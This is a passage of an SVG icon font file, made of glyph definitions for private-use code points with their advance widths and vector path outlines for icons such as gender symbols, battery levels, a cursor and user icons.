<glyph unicode="&#xf225;" horiz-adv-x="1792" d="M1280 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64 q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5t-147.5 384.5q0 201 126 359l-52 53l-101 -111q-9 -10 -22 -10.5t-23 7.5l-48 44q-10 8 -10.5 21.5t8.5 23.5l105 115l-111 112v-134q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9 t-9 23v288q0 26 19 45t45 19h288q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-133l106 -107l86 94q9 10 22 10.5t23 -7.5l48 -44q10 -8 10.5 -21.5t-8.5 -23.5l-90 -99l57 -56q158 126 359 126t359 -126l255 254h-134q-14 0 -23 9t-9 23v64zM832 256q185 0 316.5 131.5 t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
<glyph unicode="&#xf226;" horiz-adv-x="1792" d="M1790 1007q12 -155 -52.5 -292t-186 -224t-271.5 -103v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-512v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23 t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292q17 206 164.5 356.5t352.5 169.5q206 21 377 -94q171 115 377 94q205 -19 352.5 -169.5t164.5 -356.5zM896 647q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM576 512q115 0 218 57q-154 165 -154 391 q0 224 154 391q-103 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5zM1152 128v260q-137 15 -256 94q-119 -79 -256 -94v-260h512zM1216 512q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5q-115 0 -218 -57q154 -167 154 -391 q0 -226 -154 -391q103 -57 218 -57z" />
<glyph unicode="&#xf227;" horiz-adv-x="1920" d="M1536 1120q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-31 -182 -166 -312t-318 -156q-210 -29 -384.5 80t-241.5 300q-117 6 -221 57.5t-177.5 133t-113.5 192.5t-32 230 q9 135 78 252t182 191.5t248 89.5q118 14 227.5 -19t198.5 -103l255 254h-134q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q59 -74 93 -169q182 -9 328 -124l255 254h-134q-14 0 -23 9 t-9 23v64zM1024 704q0 20 -4 58q-162 -25 -271 -150t-109 -292q0 -20 4 -58q162 25 271 150t109 292zM128 704q0 -168 111 -294t276 -149q-3 29 -3 59q0 210 135 369.5t338 196.5q-53 120 -163.5 193t-245.5 73q-185 0 -316.5 -131.5t-131.5 -316.5zM1088 -128 q185 0 316.5 131.5t131.5 316.5q0 168 -111 294t-276 149q3 -29 3 -59q0 -210 -135 -369.5t-338 -196.5q53 -120 163.5 -193t245.5 -73z" />
<glyph unicode="&#xf228;" horiz-adv-x="2048" d="M1664 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-32 -180 -164.5 -310t-313.5 -157q-223 -34 -409 90q-117 -78 -256 -93v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23 t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-155 17 -279.5 109.5t-187 237.5t-39.5 307q25 187 159.5 322.5t320.5 164.5q224 34 410 -90q146 97 320 97q201 0 359 -126l255 254h-134q-14 0 -23 9 t-9 23v64zM896 391q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM128 704q0 -185 131.5 -316.5t316.5 -131.5q117 0 218 57q-154 167 -154 391t154 391q-101 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5zM1216 256q185 0 316.5 131.5t131.5 316.5 t-131.5 316.5t-316.5 131.5q-117 0 -218 -57q154 -167 154 -391t-154 -391q101 -57 218 -57z" />
<glyph unicode="&#xf229;" d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-213 -214l140 -140q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-140 141l-78 -79q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5 t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5q203 0 359 -126l78 78l-172 172q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l172 -172l213 213h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5 t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
<glyph unicode="&#xf22a;" horiz-adv-x="1280" d="M640 892q217 -24 364.5 -187.5t147.5 -384.5q0 -167 -87 -306t-236 -212t-319 -54q-133 15 -245.5 88t-182 188t-80.5 249q-12 155 52.5 292t186 224t271.5 103v132h-160q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h160v165l-92 -92q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22 t9 23l202 201q19 19 45 19t45 -19l202 -201q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-92 92v-165h160q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-160v-132zM576 -128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5 t131.5 -316.5t316.5 -131.5z" />
<glyph unicode="&#xf22b;" horiz-adv-x="2048" d="M1901 621q19 -19 19 -45t-19 -45l-294 -294q-9 -10 -22.5 -10t-22.5 10l-45 45q-10 9 -10 22.5t10 22.5l185 185h-294v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-132q-24 -217 -187.5 -364.5t-384.5 -147.5q-167 0 -306 87t-212 236t-54 319q15 133 88 245.5 t188 182t249 80.5q155 12 292 -52.5t224 -186t103 -271.5h132v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224h294l-185 185q-10 9 -10 22.5t10 22.5l45 45q9 10 22.5 10t22.5 -10zM576 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5 t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
<glyph unicode="&#xf22c;" horiz-adv-x="1280" d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-612q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v612q-217 24 -364.5 187.5t-147.5 384.5q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM576 512q185 0 316.5 131.5 t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
<glyph unicode="&#xf22d;" horiz-adv-x="1280" d="M1024 576q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1152 576q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123 t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5z" />
<glyph unicode="&#xf22e;" horiz-adv-x="1792" />
<glyph unicode="&#xf22f;" horiz-adv-x="1792" />
<glyph unicode="&#xf230;" d="M1451 1408q35 0 60 -25t25 -60v-1366q0 -35 -25 -60t-60 -25h-391v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-735q-35 0 -60 25t-25 60v1366q0 35 25 60t60 25h1366z" />
<glyph unicode="&#xf231;" horiz-adv-x="1280" d="M0 939q0 108 37.5 203.5t103.5 166.5t152 123t185 78t202 26q158 0 294 -66.5t221 -193.5t85 -287q0 -96 -19 -188t-60 -177t-100 -149.5t-145 -103t-189 -38.5q-68 0 -135 32t-96 88q-10 -39 -28 -112.5t-23.5 -95t-20.5 -71t-26 -71t-32 -62.5t-46 -77.5t-62 -86.5 l-14 -5l-9 10q-15 157 -15 188q0 92 21.5 206.5t66.5 287.5t52 203q-32 65 -32 169q0 83 52 156t132 73q61 0 95 -40.5t34 -102.5q0 -66 -44 -191t-44 -187q0 -63 45 -104.5t109 -41.5q55 0 102 25t78.5 68t56 95t38 110.5t20 111t6.5 99.5q0 173 -109.5 269.5t-285.5 96.5 q-200 0 -334 -129.5t-134 -328.5q0 -44 12.5 -85t27 -65t27 -45.5t12.5 -30.5q0 -28 -15 -73t-37 -45q-2 0 -17 3q-51 15 -90.5 56t-61 94.5t-32.5 108t-11 106.5z" />
<glyph unicode="&#xf232;" d="M985 562q13 0 97.5 -44t89.5 -53q2 -5 2 -15q0 -33 -17 -76q-16 -39 -71 -65.5t-102 -26.5q-57 0 -190 62q-98 45 -170 118t-148 185q-72 107 -71 194v8q3 91 74 158q24 22 52 22q6 0 18 -1.5t19 -1.5q19 0 26.5 -6.5t15.5 -27.5q8 -20 33 -88t25 -75q0 -21 -34.5 -57.5 t-34.5 -46.5q0 -7 5 -15q34 -73 102 -137q56 -53 151 -101q12 -7 22 -7q15 0 54 48.5t52 48.5zM782 32q127 0 243.5 50t200.5 134t134 200.5t50 243.5t-50 243.5t-134 200.5t-200.5 134t-243.5 50t-243.5 -50t-200.5 -134t-134 -200.5t-50 -243.5q0 -203 120 -368l-79 -233 l242 77q158 -104 345 -104zM782 1414q153 0 292.5 -60t240.5 -161t161 -240.5t60 -292.5t-60 -292.5t-161 -240.5t-240.5 -161t-292.5 -60q-195 0 -365 94l-417 -134l136 405q-108 178 -108 389q0 153 60 292.5t161 240.5t240.5 161t292.5 60z" />
<glyph unicode="&#xf233;" horiz-adv-x="1792" d="M128 128h1024v128h-1024v-128zM128 640h1024v128h-1024v-128zM1696 192q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM128 1152h1024v128h-1024v-128zM1696 704q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1696 1216 q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1792 384v-384h-1792v384h1792zM1792 896v-384h-1792v384h1792zM1792 1408v-384h-1792v384h1792z" />
<glyph unicode="&#xf234;" horiz-adv-x="2048" d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1664 512h352q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-352q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5 t-9.5 22.5v352h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v352q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5v-352zM928 288q0 -52 38 -90t90 -38h256v-238q-68 -50 -171 -50h-874q-121 0 -194 69t-73 190q0 53 3.5 103.5t14 109t26.5 108.5 t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q79 -61 154.5 -91.5t164.5 -30.5t164.5 30.5t154.5 91.5q20 17 39 17q132 0 217 -96h-223q-52 0 -90 -38t-38 -90v-192z" />
<glyph unicode="&#xf235;" horiz-adv-x="2048" d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1781 320l249 -249q9 -9 9 -23q0 -13 -9 -22l-136 -136q-9 -9 -22 -9q-14 0 -23 9l-249 249l-249 -249q-9 -9 -23 -9q-13 0 -22 9l-136 136 q-9 9 -9 22q0 14 9 23l249 249l-249 249q-9 9 -9 23q0 13 9 22l136 136q9 9 22 9q14 0 23 -9l249 -249l249 249q9 9 23 9q13 0 22 -9l136 -136q9 -9 9 -22q0 -14 -9 -23zM1283 320l-181 -181q-37 -37 -37 -91q0 -53 37 -90l83 -83q-21 -3 -44 -3h-874q-121 0 -194 69 t-73 190q0 53 3.5 103.5t14 109t26.5 108.5t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q154 -122 319 -122t319 122q20 17 39 17q28 0 57 -6q-28 -27 -41 -50t-13 -56q0 -54 37 -91z" />
<glyph unicode="&#xf236;" horiz-adv-x="2048" d="M256 512h1728q26 0 45 -19t19 -45v-448h-256v256h-1536v-256h-256v1216q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-704zM832 832q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM2048 576v64q0 159 -112.5 271.5t-271.5 112.5h-704 q-26 0 -45 -19t-19 -45v-384h1152z" />
<glyph unicode="&#xf237;" d="M1536 1536l-192 -448h192v-192h-274l-55 -128h329v-192h-411l-357 -832l-357 832h-411v192h329l-55 128h-274v192h192l-192 448h256l323 -768h378l323 768h256zM768 320l108 256h-216z" />
<glyph unicode="&#xf238;" d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM768 192q80 0 136 56t56 136t-56 136t-136 56 t-136 -56t-56 -136t56 -136t136 -56zM1344 768v512h-1152v-512h1152z" />
<glyph unicode="&#xf239;" d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM288 224q66 0 113 47t47 113t-47 113t-113 47 t-113 -47t-47 -113t47 -113t113 -47zM704 768v512h-544v-512h544zM1248 224q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM1408 768v512h-576v-512h576z" />
<glyph unicode="&#xf23a;" horiz-adv-x="1792" d="M597 1115v-1173q0 -25 -12.5 -42.5t-36.5 -17.5q-17 0 -33 8l-465 233q-21 10 -35.5 33.5t-14.5 46.5v1140q0 20 10 34t29 14q14 0 44 -15l511 -256q3 -3 3 -5zM661 1014l534 -866l-534 266v600zM1792 996v-1054q0 -25 -14 -40.5t-38 -15.5t-47 13l-441 220zM1789 1116 q0 -3 -256.5 -419.5t-300.5 -487.5l-390 634l324 527q17 28 52 28q14 0 26 -6l541 -270q4 -2 4 -6z" />
<glyph unicode="&#xf23b;" d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1408v-1536h-1536v1536h1536z" />
<glyph unicode="&#xf23c;" horiz-adv-x="2296" d="M478 -139q-8 -16 -27 -34.5t-37 -25.5q-25 -9 -51.5 3.5t-28.5 31.5q-1 22 40 55t68 38q23 4 34 -21.5t2 -46.5zM1819 -139q7 -16 26 -34.5t38 -25.5q25 -9 51.5 3.5t27.5 31.5q2 22 -39.5 55t-68.5 38q-22 4 -33 -21.5t-2 -46.5zM1867 -30q13 -27 56.5 -59.5t77.5 -41.5 q45 -13 82 4.5t37 50.5q0 46 -67.5 100.5t-115.5 59.5q-40 5 -63.5 -37.5t-6.5 -76.5zM428 -30q-13 -27 -56 -59.5t-77 -41.5q-45 -13 -82 4.5t-37 50.5q0 46 67.5 100.5t115.5 59.5q40 5 63 -37.5t6 -76.5zM1158 1094h1q-41 0 -76 -15q27 -8 44 -30.5t17 -49.5 q0 -35 -27 -60t-65 -25q-52 0 -80 43q-5 -23 -5 -42q0 -74 56 -126.5t135 -52.5q80 0 136 52.5t56 126.5t-56 126.5t-136 52.5zM1462 1312q-99 109 -220.5 131.5t-245.5 -44.5q27 60 82.5 96.5t118 39.5t121.5 -17t99.5 -74.5t44.5 -131.5zM2212 73q8 -11 -11 -42 q7 -23 7 -40q1 -56 -44.5 -112.5t-109.5 -91.5t-118 -37q-48 -2 -92 21.5t-66 65.5q-687 -25 -1259 0q-23 -41 -66.5 -65t-92.5 -22q-86 3 -179.5 80.5t-92.5 160.5q2 22 7 40q-19 31 -11 42q6 10 31 1q14 22 41 51q-7 29 2 38q11 10 39 -4q29 20 59 34q0 29 13 37 q23 12 51 -16q35 5 61 -2q18 -4 38 -19v73q-11 0 -18 2q-53 10 -97 44.5t-55 87.5q-9 38 0 81q15 62 93 95q2 17 19 35.5t36 23.5t33 -7.5t19 -30.5h13q46 -5 60 -23q3 -3 5 -7q10 1 30.5 3.5t30.5 3.5q-15 11 -30 17q-23 40 -91 43q0 6 1 10q-62 2 -118.5 18.5t-84.5 47.5 q-32 36 -42.5 92t-2.5 112q16 126 90 179q23 16 52 4.5t32 -40.5q0 -1 1.5 -14t2.5 -21t3 -20t5.5 -19t8.5 -10q27 -14 76 -12q48 46 98 74q-40 4 -162 -14l47 46q61 58 163 111q145 73 282 86q-20 8 -41 15.5t-47 14t-42.5 10.5t-47.5 11t-43 10q595 126 904 -139 q98 -84 158 -222q85 -10 121 9h1q5 3 8.5 10t5.5 19t3 19.5t3 21.5l1 14q3 28 32 40t52 -5q73 -52 91 -178q7 -57 -3.5 -113t-42.5 -91q-28 -32 -83.5 -48.5t-115.5 -18.5v-10q-71 -2 -95 -43q-14 -5 -31 -17q11 -1 32 -3.5t30 -3.5q1 4 5 8q16 18 60 23h13q5 18 19 30t33 8 t36 -23t19 -36q79 -32 93 -95q9 -40 1 -81q-12 -53 -56 -88t-97 -44q-10 -2 -17 -2q0 -49 -1 -73q20 15 38 19q26 7 61 2q28 28 51 16q14 -9 14 -37q33 -16 59 -34q27 13 38 4q10 -10 2 -38q28 -30 41 -51q23 8 31 -1zM1937 1025q0 -29 -9 -54q82 -32 112 -132 q4 37 -9.5 98.5t-41.5 90.5q-20 19 -36 17t-16 -20zM1859 925q35 -42 47.5 -108.5t-0.5 -124.5q67 13 97 45q13 14 18 28q-3 64 -31 114.5t-79 66.5q-15 -15 -52 -21zM1822 921q-30 0 -44 1q42 -115 53 -239q21 0 43 3q16 68 1 135t-53 100zM258 839q30 100 112 132 q-9 25 -9 54q0 18 -16.5 20t-35.5 -17q-28 -29 -41.5 -90.5t-9.5 -98.5zM294 737q29 -31 97 -45q-13 58 -0.5 124.5t47.5 108.5v0q-37 6 -52 21q-51 -16 -78.5 -66t-31.5 -115q9 -17 18 -28zM471 683q14 124 73 235q-19 -4 -55 -18l-45 -19v1q-46 -89 -20 -196q25 -3 47 -3z M1434 644q8 -38 16.5 -108.5t11.5 -89.5q3 -18 9.5 -21.5t23.5 4.5q40 20 62 85.5t23 125.5q-24 2 -146 4zM1152 1285q-116 0 -199 -82.5t-83 -198.5q0 -117 83 -199.5t199 -82.5t199 82.5t83 199.5q0 116 -83 198.5t-199 82.5zM1380 646q-106 2 -211 0v1q-1 -27 2.5 -86 t13.5 -66q29 -14 93.5 -14.5t95.5 10.5q9 3 11 39t-0.5 69.5t-4.5 46.5zM1112 447q8 4 9.5 48t-0.5 88t-4 63v1q-212 -3 -214 -3q-4 -20 -7 -62t0 -83t14 -46q34 -15 101 -16t101 10zM718 636q-16 -59 4.5 -118.5t77.5 -84.5q15 -8 24 -5t12 21q3 16 8 90t10 103 q-69 -2 -136 -6zM591 510q3 -23 -34 -36q132 -141 271.5 -240t305.5 -154q172 49 310.5 146t293.5 250q-33 13 -30 34l3 9v1v-1q-17 2 -50 5.5t-48 4.5q-26 -90 -82 -132q-51 -38 -82 1q-5 6 -9 14q-7 13 -17 62q-2 -5 -5 -9t-7.5 -7t-8 -5.5t-9.5 -4l-10 -2.5t-12 -2 l-12 -1.5t-13.5 -1t-13.5 -0.5q-106 -9 -163 11q-4 -17 -10 -26.5t-21 -15t-23 -7t-36 -3.5q-2 0 -3 -0.5t-3 -0.5h-3q-179 -17 -203 40q-2 -63 -56 -54q-47 8 -91 54q-12 13 -20 26q-17 29 -26 65q-58 -6 -87 -10q1 -2 4 -10zM507 -118q3 14 3 30q-17 71 -51 130t-73 70 q-41 12 -101.5 -14.5t-104.5 -80t-39 -107.5q35 -53 100 -93t119 -42q51 -2 94 28t53 79zM510 53q23 -63 27 -119q195 113 392 174q-98 52 -180.5 120t-179.5 165q-6 -4 -29 -13q0 -2 -1 -5t-1 -4q31 -18 22 -37q-12 -23 -56 -34q-10 -13 -29 -24h-1q-2 -83 1 -150 q19 -34 35 -73zM579 -113q532 -21 1145 0q-254 147 -428 196q-76 -35 -156 -57q-8 -3 -16 0q-65 21 -129 49q-208 -60 -416 -188h-1v-1q1 0 1 1zM1763 -67q4 54 28 120q14 38 33 71l-1 -1q3 77 3 153q-15 8 -30 25q-42 9 -56 33q-9 20 22 38q-2 4 -2 9q-16 4 -28 12 q-204 -190 -383 -284q198 -59 414 -176zM2155 -90q5 54 -39 107.5t-104 80t-102 14.5q-38 -11 -72.5 -70.5t-51.5 -129.5q0 -16 3 -30q10 -49 53 -79t94 -28q54 2 119 42t100 93z" />
<glyph unicode="&#xf23d;" horiz-adv-x="2304" d="M1524 -25q0 -68 -48 -116t-116 -48t-116.5 48t-48.5 116t48.5 116.5t116.5 48.5t116 -48.5t48 -116.5zM775 -25q0 -68 -48.5 -116t-116.5 -48t-116 48t-48 116t48 116.5t116 48.5t116.5 -48.5t48.5 -116.5zM0 1469q57 -60 110.5 -104.5t121 -82t136 -63t166 -45.5 t200 -31.5t250 -18.5t304 -9.5t372.5 -2.5q139 0 244.5 -5t181 -16.5t124 -27.5t71 -39.5t24 -51.5t-19.5 -64t-56.5 -76.5t-89.5 -91t-116 -104.5t-139 -119q-185 -157 -286 -247q29 51 76.5 109t94 105.5t94.5 98.5t83 91.5t54 80.5t13 70t-45.5 55.5t-116.5 41t-204 23.5 t-304 5q-168 -2 -314 6t-256 23t-204.5 41t-159.5 51.5t-122.5 62.5t-91.5 66.5t-68 71.5t-50.5 69.5t-40 68t-36.5 59.5z" />
<glyph unicode="&#xf23e;" horiz-adv-x="1792" d="M896 1472q-169 0 -323 -66t-265.5 -177.5t-177.5 -265.5t-66 -323t66 -323t177.5 -265.5t265.5 -177.5t323 -66t323 66t265.5 177.5t177.5 265.5t66 323t-66 323t-177.5 265.5t-265.5 177.5t-323 66zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348 t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM496 704q16 0 16 -16v-480q0 -16 -16 -16h-32q-16 0 -16 16v480q0 16 16 16h32zM896 640q53 0 90.5 -37.5t37.5 -90.5q0 -35 -17.5 -64t-46.5 -46v-114q0 -14 -9 -23 t-23 -9h-64q-14 0 -23 9t-9 23v114q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5zM896 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM544 928v-96 q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 93 65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5v-96q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 146 -103 249t-249 103t-249 -103t-103 -249zM1408 192v512q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-512 q0 -26 19 -45t45 -19h896q26 0 45 19t19 45z" />
<glyph unicode="&#xf240;" horiz-adv-x="2304" d="M1920 1024v-768h-1664v768h1664zM2048 448h128v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288zM2304 832v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113 v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160q53 0 90.5 -37.5t37.5 -90.5z" />
<glyph unicode="&#xf241;" horiz-adv-x="2304" d="M256 256v768h1280v-768h-1280zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9 h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
<glyph unicode="&#xf242;" horiz-adv-x="2304" d="M256 256v768h896v-768h-896zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9 h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
<glyph unicode="&#xf243;" horiz-adv-x="2304" d="M256 256v768h512v-768h-512zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9 h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
<glyph unicode="&#xf244;" horiz-adv-x="2304" d="M2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23 v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
<glyph unicode="&#xf245;" horiz-adv-x="1280" d="M1133 493q31 -30 14 -69q-17 -40 -59 -40h-382l201 -476q10 -25 0 -49t-34 -35l-177 -75q-25 -10 -49 0t-35 34l-191 452l-312 -312q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v1504q0 42 40 59q12 5 24 5q27 0 45 -19z" />
<glyph unicode="&#xf246;" horiz-adv-x="1024" d="M832 1408q-320 0 -320 -224v-416h128v-128h-128v-544q0 -224 320 -224h64v-128h-64q-272 0 -384 146q-112 -146 -384 -146h-64v128h64q320 0 320 224v544h-128v128h128v416q0 224 -320 224h-64v128h64q272 0 384 -146q112 146 384 146h64v-128h-64z" />
<glyph unicode="&#xf247;" horiz-adv-x="2048" d="M2048 1152h-128v-1024h128v-384h-384v128h-1280v-128h-384v384h128v1024h-128v384h384v-128h1280v128h384v-384zM1792 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 -128v128h-128v-128h128zM1664 0v128h128v1024h-128v128h-1280v-128h-128v-1024h128v-128 h1280zM1920 -128v128h-128v-128h128zM1280 896h384v-768h-896v256h-384v768h896v-256zM512 512h640v512h-640v-512zM1536 256v512h-256v-384h-384v-128h640z" />
<glyph unicode="&#xf248;" horiz-adv-x="2304" d="M2304 768h-128v-640h128v-384h-384v128h-896v-128h-384v384h128v128h-384v-128h-384v384h128v640h-128v384h384v-128h896v128h384v-384h-128v-128h384v128h384v-384zM2048 1024v-128h128v128h-128zM1408 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 256 v128h-128v-128h128zM1536 384h-128v-128h128v128zM384 384h896v128h128v640h-128v128h-896v-128h-128v-640h128v-128zM896 -128v128h-128v-128h128zM2176 -128v128h-128v-128h128zM2048 128v640h-128v128h-384v-384h128v-384h-384v128h-384v-128h128v-128h896v128h128z" />
<glyph unicode="&#xf249;" d="M1024 288v-416h-928q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68v-928h-416q-40 0 -68 -28t-28 -68zM1152 256h381q-15 -82 -65 -132l-184 -184q-50 -50 -132 -65v381z" />
<glyph unicode="&#xf24a;" d="M1400 256h-248v-248q29 10 41 22l185 185q12 12 22 41zM1120 384h288v896h-1280v-1280h896v288q0 40 28 68t68 28zM1536 1312v-1024q0 -40 -20 -88t-48 -76l-184 -184q-28 -28 -76 -48t-88 -20h-1024q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68 z" />
